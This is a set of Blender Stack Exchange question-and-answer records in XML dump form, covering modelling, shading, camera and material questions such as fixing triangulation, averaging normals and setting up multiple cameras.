  <row Id="14651" PostTypeId="1" CreationDate="2014-08-02T14:42:39.107" Score="0" ViewCount="365" Body="&lt;p&gt;I asked this previously for my Earth project but it was never given an answer and was marked as a dupe which it wasn't as the question it was linked to was about textures being controlled by light, not the emission of an object. The effect would be somewhat the same however it shouldn't affect visibility but emission so that the objects emission fades when going dark.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the atmosphere I'm using 2 spheres. One to act as the atmospheric distance you see where it gets more hazed the further away you look, and another which is the glow itself. For the glow I've found it works best with a volumetric material and have it emit light. The question I would like answered is, how would I control the emission of the volume material with the sun lamp in the scene? I have a strong feeling that nodes can make this happen but I have no clue on what ones would work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am working in Blender Render as I haven't figured out a better way to make a good looking Earth in Cycles yet.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ro4rC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5424" LastEditorUserId="5424" LastEditDate="2015-03-29T13:42:33.523" LastActivityDate="2015-03-29T18:00:30.657" Title="Object emission controlled by sunlight" Tags="&lt;texturing&gt;&lt;compositor&gt;&lt;blender-internal-render-engine&gt;&lt;light&gt;&lt;shaders&gt;" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="14652" PostTypeId="1" AcceptedAnswerId="14654" CreationDate="2014-08-02T14:48:57.003" Score="0" ViewCount="2222" Body="&lt;p&gt;I have this mesh of a ridge that I originally made by simply using the knife tool across a plane. This left me with a very disproportionate amount of vertices in the y-axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I currently understand it, the shading artifacts that I've highlighted below are due to bad topology and ideally I want quads (or triangles) on the top and bottom planes as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any tool in blender that can speed this up. I mean, I could walk through each vertex and add the edges by hand, that's not too much work but I was hoping that there's a tool that can actually do this, since what I want here is exactly one additional edge per vertex on the upper and lower plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pK9Id.png&quot; alt=&quot;Triangulation issues&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5309" LastEditorUserId="2217" LastEditDate="2015-06-02T00:08:52.360" LastActivityDate="2015-06-02T00:08:52.360" Title="How do I fix this triangulation issue?" Tags="&lt;mesh&gt;&lt;geometry&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14653" PostTypeId="2" ParentId="14652" CreationDate="2014-08-02T15:05:05.787" Score="0" Body="&lt;p&gt;If these surfaces are planar you might set their shading to flat shading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Else:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;T&lt;/kbd&gt; to automatically triangulate the polygons&lt;/li&gt;&#xA;&lt;li&gt;Use the Triangulate modifier to non-destructively triangulate the mesh.&lt;/li&gt;&#xA;&lt;li&gt;Select vertex pairs of the polygons and press &lt;kbd&gt;J&lt;/kbd&gt; to join/connect them.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-08-02T15:12:27.213" LastActivityDate="2014-08-02T15:12:27.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14654" PostTypeId="2" ParentId="14652" CreationDate="2014-08-02T15:05:44.943" Score="4" Body="&lt;p&gt;You need to fill the faces with quads or triangles, or remove the smooth shading on the nogons. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;T&lt;/kbd&gt;) then (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt;), to fill it with quads, as a quick fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A better method would be to repair your modeling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RmcWXm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Delete the vertices on the ends of your N-gons:&lt;br/&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sATd5m.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br/&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select one of the edge loops at the bottom &lt;em&gt;or&lt;/em&gt; top.&lt;br/&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jQLPMm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br/&gt;&lt;/li&gt;&#xA;&lt;li&gt;Extrude the vertices out(&lt;kbd&gt;E&lt;/kbd&gt;&lt;kbd&gt;X y or Z&lt;/kbd&gt;)&lt;br/&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/q4rqLm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br/&gt;&lt;/li&gt;&#xA;&lt;li&gt;scale them to zero along the axis that you extruded them out(&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;X y or Z&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;).&lt;br/&gt;&#xA;&lt;br/&gt;&lt;img src=&quot;https://i.stack.imgur.com/5xvQEm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Do the same for the bottom vertices.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-08-02T15:17:16.583" LastActivityDate="2014-08-02T15:17:16.583" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14655" PostTypeId="1" AcceptedAnswerId="14656" CreationDate="2014-08-02T15:05:49.863" Score="2" ViewCount="997" Body="&lt;p&gt;I have a plane with a diffuse material of a blue color, a cube of a red color. I can see them perfectly well using cycles. When I use the game engine render all I get is gray no colors. Can the blender game engine render diffuse material nodes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a node that says render node to game engine renderer?&lt;/p&gt;&#xA;" OwnerUserId="19965" LastActivityDate="2014-08-02T22:32:10.300" Title="Can the blender game engine render diffuse material nodes?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;game-engine&gt;&lt;nodes&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14656" PostTypeId="2" ParentId="14655" CreationDate="2014-08-02T15:35:17.580" Score="1" Body="&lt;p&gt;The blender game engine &lt;strong&gt;cannot&lt;/strong&gt; render cycles materials. &lt;a href=&quot;http://www.blendernation.com/2014/07/23/physically-based-rendering-in-the-blender-game-engine/&quot; rel=&quot;nofollow&quot;&gt;This&lt;/a&gt; might bring similar results, It's not currently available for download at the time of writing.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-08-02T22:32:10.300" LastActivityDate="2014-08-02T22:32:10.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14657" PostTypeId="2" ParentId="14652" CreationDate="2014-08-02T16:45:38.723" Score="2" Body="&lt;p&gt;If you don't want vertex normals to blend you can use sharp edges or enable auto-smooth in the mesh normals panel (which works in the view-port with version 2.71).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-08-02T16:45:38.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14658" PostTypeId="1" AcceptedAnswerId="14659" CreationDate="2014-08-02T17:13:39.677" Score="5" ViewCount="643" Body="&lt;p&gt;I was reading a wikibook about Blender, and it started talking about view coordinates. I don't exactly understand what they are or the purpose of their existence. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone please explain them in a newbie friendly fashion?&lt;/p&gt;&#xA;" OwnerUserId="5414" LastEditorUserId="5414" LastEditDate="2014-08-02T17:37:43.863" LastActivityDate="2014-08-02T20:25:56.140" Title="What are View Coordinates?" Tags="&lt;3d-view&gt;&lt;coordinates&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14659" PostTypeId="2" ParentId="14658" CreationDate="2014-08-02T17:58:18.433" Score="4" Body="&lt;p&gt;When you switch to View space Coordinates, all transformations depend on the view; So the x axis is horizontal and y is vertical; If you move your view, so move the axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's useful if you only want to move a particular object relative to the view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To lock a transform to any axis, while in View transform orientation, press the respective axis key twice; So to lock translate to the View's X axis, press &lt;kbd&gt;G&lt;/kbd&gt; &lt;kbd&gt;X&lt;/kbd&gt; &lt;kbd&gt;X&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="2217" LastEditDate="2014-08-02T20:25:56.140" LastActivityDate="2014-08-02T20:25:56.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14660" PostTypeId="1" AcceptedAnswerId="14662" CreationDate="2014-08-02T19:46:10.103" Score="5" ViewCount="4438" Body="&lt;p&gt;Is there a way to subdivide a cube while a shape of a sphere is maintained? When making changes on a cube (with subdivision surface, bevel etc.), instead of pressing &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;, the shape of a sphere to be maintained. Is something like that possible to do?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3127" LastEditDate="2016-02-09T20:18:50.327" LastActivityDate="2016-02-09T20:18:50.327" Title="Is there a way to subdivide a cube while a shape of a sphere is maintained?" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14661" PostTypeId="1" AcceptedAnswerId="14697" CreationDate="2014-08-02T20:25:18.710" Score="4" ViewCount="4754" Body="&lt;p&gt;I'm not 100% sure if I'm using the right terminology since I'm fairly new to 3D model editing. Please try to go easy on me :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently writing a program in OpenGL. I'm using Blender to edit my models, and I'm exporting to OBJ (Wavefront) before loading them into my program. It turns out that all the vertex normals are the same as the face normals; that is, the vertex normals along two triangle edges might look something like in this image: (ignore the text; I'm borrowing these images from opengl-tutorial.org because they clearly illustrate my question)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4yTtp.png&quot; alt=&quot;spiky.png&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have some shapes that I would like to render smoothly (my shaders interpolate between normals, if that pertains to the question), so I would rather the normals look something like this: (where the arrow pointing up is actually two overlapping normals from the same vertex)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RPciL.png&quot; alt=&quot;badmooth.png&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably the simplest way to get these &quot;curve normals&quot; would be to average the two normals for each face connected to a vertex. Does anyone know how to do this in Blender?&lt;/p&gt;&#xA;" OwnerUserId="5465" LastEditorUserId="2217" LastEditDate="2014-08-02T20:27:49.343" LastActivityDate="2014-08-04T12:47:16.280" Title="Average normals at vertices before exporting" Tags="&lt;export&gt;&lt;normals&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14662" PostTypeId="2" ParentId="14660" CreationDate="2014-08-02T22:29:16.760" Score="9" Body="&lt;p&gt;You can do this &lt;strong&gt;non destructively&lt;/strong&gt; by adding a subdivision surface modifier set to &lt;em&gt;simple&lt;/em&gt;, and a cast modifier with the &lt;em&gt;Cast type&lt;/em&gt; set the sphere and the factor set to &lt;em&gt;1&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another method is &lt;kbd&gt;W&lt;/kbd&gt;&gt;&lt;em&gt;Subdivide smooth&lt;/em&gt; will come close to achieving the effect you want, as far as I know, it doesn't divide correctly, and will create a mesh that isn't quite spherical. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screen shot of modifier settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0Zflc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-08-02T22:29:16.760" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14663" PostTypeId="1" CreationDate="2014-08-03T01:28:56.167" Score="10" ViewCount="14205" Body="&lt;p&gt;Is it possible to have several different views of one scene and set them as named &quot;presets&quot;?&lt;/p&gt;&#xA;" OwnerUserId="739" LastEditorUserId="599" LastEditDate="2014-08-03T02:20:21.087" LastActivityDate="2018-09-21T15:04:09.560" Title="How to set multiple camera views in one scene?" Tags="&lt;3d-view&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14664" PostTypeId="2" ParentId="14640" CreationDate="2014-08-03T01:35:38.720" Score="2" Body="&lt;p&gt;The body and the armour are separate objects and you only have the armature moving the body, you also need to have the armature linked to the armour as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way is to parent using automatic weights or manual weight painting, the same as you would for the body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As your armour is most likely to be a single rigid piece you might want to parent the armour to a single bone so that it stays as one solid piece. To do this select the armour, shift select the armature and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; then select Bone. The bone used will be the selected bone in pose mode, you can change to pose mode and select the right bone before parenting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RQ4sq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; As you want to export to unity I would join the two meshes and use weight painting instead of parenting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the armour and then the body and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt;. This will join the two objects into one mesh. Selecting the body last means the armour will be added to the body, keeping the armature setup as it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go into edit mode and select one of the armour vertices. Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; to select the rest of the connected vertices. In the vertex groups find Chest and click assign with the weight set to 1.0. This will make the entire armour piece move as one piece as the chest bone is moved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ri673.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="935" LastEditDate="2014-08-04T06:15:20.940" LastActivityDate="2014-08-04T06:15:20.940" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14665" PostTypeId="2" ParentId="14663" CreationDate="2014-08-03T02:16:09.220" Score="13" Body="&lt;p&gt;&lt;strong&gt;Yes&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create new cameras with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Camera&lt;/em&gt;, or you can just duplicate an existing camera with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To name them, enter a name in &lt;em&gt;3D view &gt; Properties region &gt; Item&lt;/em&gt;, and optionally enable  &lt;em&gt;Name&lt;/em&gt; in &lt;em&gt;Properties editor &gt; Object &gt; Display&lt;/em&gt; to display the name in the 3D view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RCAi4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The active camera (the one used when you press &lt;kbd&gt;Numpad 0&lt;/kbd&gt; or render) is the one with the solid triangle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To set a camera as active, select it and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Numpad 0&lt;/kbd&gt;, or select it in the scene panel with a search-able list drop down:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/disov.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another useful shortcut is &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Numpad 0&lt;/kbd&gt;, which snaps the active camera to the current view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can lock the transforms of the camera object to prevent moving them in the 3D view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PrTGS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However you can still move them with the transform sliders in the interface.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-08-03T17:43:56.670" LastActivityDate="2014-08-03T17:43:56.670" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14666" PostTypeId="2" ParentId="14663" CreationDate="2014-08-03T03:31:25.367" Score="8" Body="&lt;p&gt;In addition to gandalf3's answer, you can also cycles though views using the timeline and markers. To do this, add a marker to your timeline by pressing &lt;kbd&gt;M&lt;/kbd&gt; while hovering over the timeline. Next, select your first camera and marker, and hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt; while hovering over the timeline. This will bind your camera to that marker. You can then repeat these steps for each camera in your scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you place your markers on consecutive frames, you can uses the arrow keys to cycles between views.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Marker usage guide:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Move marker: &lt;kbd&gt;G&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Delete marker: &lt;kbd&gt;X&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rename marker &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;M&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/#Markers&quot;&gt;For more on markers see the wiki&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-08-03T03:31:25.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14667" PostTypeId="1" AcceptedAnswerId="14670" CreationDate="2014-08-03T04:57:46.697" Score="2" ViewCount="52" Body="&lt;p&gt;I am creating an animated fractured object. Initally, when I created the fracture, it included a second material for the inside of the mesh (shown in black). Unfortunately, I deleted the 2nd material. Is there anyway to add the second material back onto all the objects without applying it one-by-one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EdW9J.jpg&quot; alt=&quot;Image of a fractured object and it&amp;#39;s two seperate materials&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U1yrF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5239" LastActivityDate="2014-08-03T09:27:28.423" Title="Can A Deleted Material From A Fractured Object Be Re-applied?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14669" PostTypeId="2" ParentId="14634" CreationDate="2014-08-03T05:47:12.257" Score="6" Body="&lt;p&gt;You can also select the object/mesh and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt; and then specify an axis by pressing &lt;kbd&gt;X&lt;/kbd&gt; &lt;kbd&gt;Y&lt;/kbd&gt; or &lt;kbd&gt;Z&lt;/kbd&gt;. This works in both edit mode and object mode.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-08-03T05:47:12.257" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14670" PostTypeId="2" ParentId="14667" CreationDate="2014-08-03T09:27:28.423" Score="0" Body="&lt;p&gt;Select one piece and add your second material again.&#xA;Then select all of the other parts and select that one part with the second material as the active object (select it as last object). Then press Ctrl+L and click on materials!&lt;/p&gt;&#xA;" OwnerUserId="5243" LastActivityDate="2014-08-03T09:27:28.423" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14671" PostTypeId="1" AcceptedAnswerId="14672" CreationDate="2014-08-03T14:42:58.670" Score="2" ViewCount="1146" Body="&lt;p&gt;In my animation I have a hallway and I want it to appear as if someone is running down the hallway with the blender camera. What is the best way to go about accomplishing this? Should I use a path?&lt;/p&gt;&#xA;" OwnerUserId="5344" LastActivityDate="2014-08-03T19:04:13.737" Title="Animation: Having the camera view move as if someone is holding the camera and running" Tags="&lt;animation&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14672" PostTypeId="2" ParentId="14671" CreationDate="2014-08-03T15:08:10.467" Score="3" Body="&lt;p&gt;There are two methods you can use to achieve this effect, one of them will produce better results, but the other is easier to set up.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Match move, with actual footage:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Also know as Camera Tracking. This technique is a favorite of  &lt;a href=&quot;http://prolost.com/&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Stu Maschwitz&lt;/em&gt;&lt;/a&gt;, ex-&lt;a href=&quot;http://www.ilm.com/&quot; rel=&quot;nofollow&quot;&gt;ILM&lt;/a&gt; employee and co-founder of the now closed VFX company, the Orphanage. This will produce the most realistic results, but will also be harder work to complete. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Steps:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go outside, or into a large room. &lt;/li&gt;&#xA;&lt;li&gt;Place allot of high contrast objects on the ground(a mix of foreground and background markers will yield more precision). &lt;/li&gt;&#xA;&lt;li&gt;Take a video camera, and shoot video like you're the camera man in your virtual scene&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blenderguru.com/tutorials/introduction-to-camera-tracking/&quot; rel=&quot;nofollow&quot;&gt;Match move it&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Position your camera in your hallway.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This approach will result in very realistic looking results, since it is &quot;Camera &lt;a href=&quot;http://en.wikipedia.org/wiki/Motion_capture&quot; rel=&quot;nofollow&quot;&gt;Mocap&lt;/a&gt;&quot;. The down side is, it is a lot of work. As with most visual effects tasks, the more work you put into, the better your scene will look.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Add random noise to your camera's movement:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is one of the easiest ways to simulate a shaky camera in Blender. It won't produce as realistic results as the above method, but takes way less work to set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Steps&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add an Empty.&lt;/li&gt;&#xA;&lt;li&gt;Parent your Camera to it.&lt;/li&gt;&#xA;&lt;li&gt;Set a &lt;em&gt;Location&lt;/em&gt; and &lt;em&gt;Rotation&lt;/em&gt; key frame on the empty.&lt;/li&gt;&#xA;&lt;li&gt;Open the Graph Editor and hit &lt;kbd&gt;N&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Add a Noise modifier to the rotation and location of the Camera.&lt;/li&gt;&#xA;&lt;li&gt;Parent the empty to another empty.&lt;/li&gt;&#xA;&lt;li&gt;Use the last empty to control the movement of the Camera.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This can work pretty well, with some tweaking. I would recommend first removing the noise effect from certain axis, if that failed.  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Should I use a path?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I wouldn't bother, just key frame it.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3078" LastEditDate="2014-08-03T19:04:13.737" LastActivityDate="2014-08-03T19:04:13.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14673" PostTypeId="1" AcceptedAnswerId="14680" CreationDate="2014-08-03T15:25:17.440" Score="4" ViewCount="4037" Body="&lt;p&gt;I'm trying to create a black hair material with random streaks of gray. I came up with the following setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fpEBM.jpg&quot; alt=&quot;Attempt at a streaked hair shader&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first, this appeared to work well. I was using a basic MakeHuman model, separated a skull cap and another part of the head mesh for facial hair. The first test renders looked like I wanted them: most of the hair was using the black shader with a bit of the gray shader thrown in. This seemed to work the same for both the scalp hair and the facial hair (see left image below - it's kind of hard to tell with the close-cropped beard but you can definitely see the streaks by looking at at the hairline - especially in comparison to the later render on the right).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell the problems started when I duplicated (Shift-D) the model to create a second character with slightly different characteristics. I did make sure to create new Particle Systems and Settings for the duplicated character and gave unique names to each. However, all of a sudden, when I rendered the original model all the scalp hair uses only the black shader while all of the facial hair uses only the gray shader (see right image below). It seems the random node is no longer evaluated per particle but only per object... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gVIVO.jpg&quot; alt=&quot;Before and after the problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I change the position of the slider on the top color ramp (the &quot;selector&quot; if you will) to something like 0.1 or 0.9 then Blender will render all hair with either one or the other shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what might have caused this or more importantly, how I can reverse the effect? Is there maybe a better approach for the &quot;streaks&quot;-effect I'm looking for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Blender 2.71. The model was exported from MakeHuman Alpha 7.&#xA;The scalp hair object uses only one particle system while the facial hair object has three (moustache, cheeks and soul patch).&lt;/p&gt;&#xA;" OwnerUserId="1259" LastEditorUserId="2217" LastEditDate="2014-08-03T17:20:44.810" LastActivityDate="2014-08-03T21:33:21.347" Title="Particle hair material with random streaks for Cycles" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14674" PostTypeId="1" AcceptedAnswerId="14681" CreationDate="2014-08-03T16:55:01.487" Score="7" ViewCount="19214" Body="&lt;p&gt;How do I make a transparent material always display?&#xA;I have turned the transparency on but its clearly not showing in the 3D view.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gGuPB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4846" LastEditorUserId="2217" LastEditDate="2014-08-03T17:59:57.107" LastActivityDate="2021-05-14T03:19:43.507" Title="How do I make a transparent material display in the 3D view?" Tags="&lt;materials&gt;&lt;3d-view&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ClosedDate="2014-08-04T12:50:50.850" ContentLicense="CC BY-SA 3.0" />
  <row Id="14675" PostTypeId="1" CreationDate="2014-08-03T17:00:38.257" Score="2" ViewCount="305" Body="&lt;p&gt;I'm using v2.71 and I can't find any blend sky option under the world tab. I'm following a tutorial that used an older version of Blender.Where is it in the newest version, or how do I set the Horizon and Zenith colors?&lt;/p&gt;&#xA;" OwnerUserId="5471" LastEditorUserId="2217" LastEditDate="2014-08-03T17:16:50.847" LastActivityDate="2014-08-03T17:45:39.433" Title="I'm using v2.71 and I can't find any blend sky option under the world tab" Tags="&lt;texturing&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14676" PostTypeId="2" ParentId="14674" CreationDate="2014-08-03T17:22:52.917" Score="2" Body="&lt;p&gt;You need to set your view mode to either &lt;em&gt;Rendered&lt;/em&gt; or &lt;em&gt;Texture&lt;/em&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NVCrJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you set it to textured, you will need to change your Shading to GLSL in the properties panel (&lt;kbd&gt;N&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2zkIR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-08-03T17:22:52.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
